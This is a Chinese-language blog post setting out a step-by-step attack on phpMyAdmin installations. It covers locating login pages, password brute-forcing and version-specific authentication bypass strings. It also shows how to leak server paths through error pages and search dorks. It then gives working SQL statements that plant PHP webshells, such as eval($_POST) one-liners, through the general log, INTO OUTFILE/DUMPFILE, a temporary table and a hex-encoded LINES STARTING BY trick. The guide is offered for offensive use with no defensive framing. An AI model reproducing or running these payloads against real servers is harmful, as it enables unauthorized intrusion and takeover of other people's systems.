基于PHPMyadmin的攻击

基于PHPMyadmin的攻击

1. 入口寻找

  • 1.1.⽬录扫描 (使用工具对url进行目录扫描)
    • Linux是对⼤小写敏感的
  • 1.2.CMS特性
  • 1.3.Google Hacking
  • 1.4. ⽹站⾃有功能 (有些网站会在首页显示后台)

2. 口令爆破

3. 远程代码执行等漏洞

4. 后台bypass 【万能密码】

  • phpmyadmin2.11.3-2.11.4 这两个版本存在万能密码,直接使⽤‘localhost’@'@”为账号,密码不⽤输⼊。
  • phpmyadmin2.11.9.2 这个版本存在空口令。直接root⽤⼾登陆,密码不⽤

5. Getshell

  3.物理路径获取

  • 报错
    • ⽹站代码问题报错
      如何报错?⼀般就是加 ' 等特殊字符使网站报错
    • 解析器(Web容器、中间件)报错
      如 IIS7.5,如何报错?⼀般就是加⼀些不存在的⽬录名字,会出现一些物理路径的信息
  • Google爆路径
    结合关键字和site语法搜索出错⻚⾯的⽹⻚快照,常⻅关键字有warning和fatal error。注意,如果⽬标站点是⼆级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
    Site:xxx.edu.tw warning
    Site:xxx.com.tw "atal error"
  • 根据正常的安装⽂件猜
    ⽐如phpstudy的默认⽹站⽬录是: c:/phpStudy/phpstudy/PHPTutorial/WWW/
  • 读取解析器的配置⽂件
    • 正常
      正常情况我们是⽆法得知解析器的配置⽂件的,这个时候就是尝试解析器默认的安装路径
    • 取巧
      假设某种情况下,我们得知⽬标是⽤的phpstudy,可是不是在默认的路径,我们就可以读取路径 select@@basedir ,得到路径后,推测⽹站路径。
  • 旁站报错
    你的⽬标是不报错的,但是不代表你的⽬标⽹站的邻居不报错啊。⽐如⽬标站是 www.target.com ,它的邻居是: www.victim.com ,邻居⽹站有注⼊,加 ' 后爆出它的⽹站某个⻚⾯路径是: c:/wwwroot/victim/news.asp ,那你根据这个推荐你的⽬标站点的路径就有可能是 c:/wwwroot/target/ 。
  • 其他信息
    • phpinfo⻚⾯ ,可找到网站物理路径
    • ⽹站源码备份
    • ……

  1.通过⽇志拿shell
原理,phpmyadmin有⼀个记录⽇志的⽂件,但是⼀般情况下会关闭,开启⽇志记录,然后设置⽇志记录名称为.php,随便执⾏sql语句,只要包括⼀句话木⻢就会被写⼊到⽇志中去,然后就可以连接getshell。

set global general_log='on' //⾸先设置为on
set global general_log_file ="E:\\wamp\\wamp\\www\\3.php"
#执⾏⼀条带有⼀句话⽊⻢代码的SQL语句,如:
select '<?php eval($_POST['mima'])?>;

  2. 导出拿shell
   .5.2.1. 正常导出拿shell

姿1. SELECT "<?php phpinfo();?>" INTO OUTFILE "E:\\wamp\\wamp\\www\\2.php"
姿2. SELECT "<?php phpinfo();?>" INTO dumpFILE "E:\\wamp\\wamp\\www\\2.php"

   .5.2.2. 创建表导出

CREATE TABLE a (cmd text NOT NULL);
INSERT INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
DROP TABLE IF EXISTS a;

   .5.2.3. 猥琐型导出

	  select * from admin where userid=1 into outfile "x:\\wwwroot\\sx.php" LINES STARTING BY 0x3C3F70687020706870696E666F28293F3E%23

     写完语句,要⽤hackbar的urlencode编码⼀下,不然很⼤⼏率是不成功的哟。这个可以在基于MySQL的报错注⼊中写webshell。
     0x3C3F70687020706870696E666F28293F3E=<?php phpinfo()?>
     原理:
      LINES STARTING BY '字符串':设置每⾏数据开头的字符,可以为单个或多个字符。默认情况下不使⽤任何字符。
      LINES TERMINATED BY ‘'字符串':设置每⾏数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

6. 参考

phpmyadmin各种技巧拿webshell 加 提权
phpmyadmin后台拿shell⽅法总结

posted @ 2020-12-03 21:44  Black-Sweater  阅读(338)  评论(0编辑  收藏  举报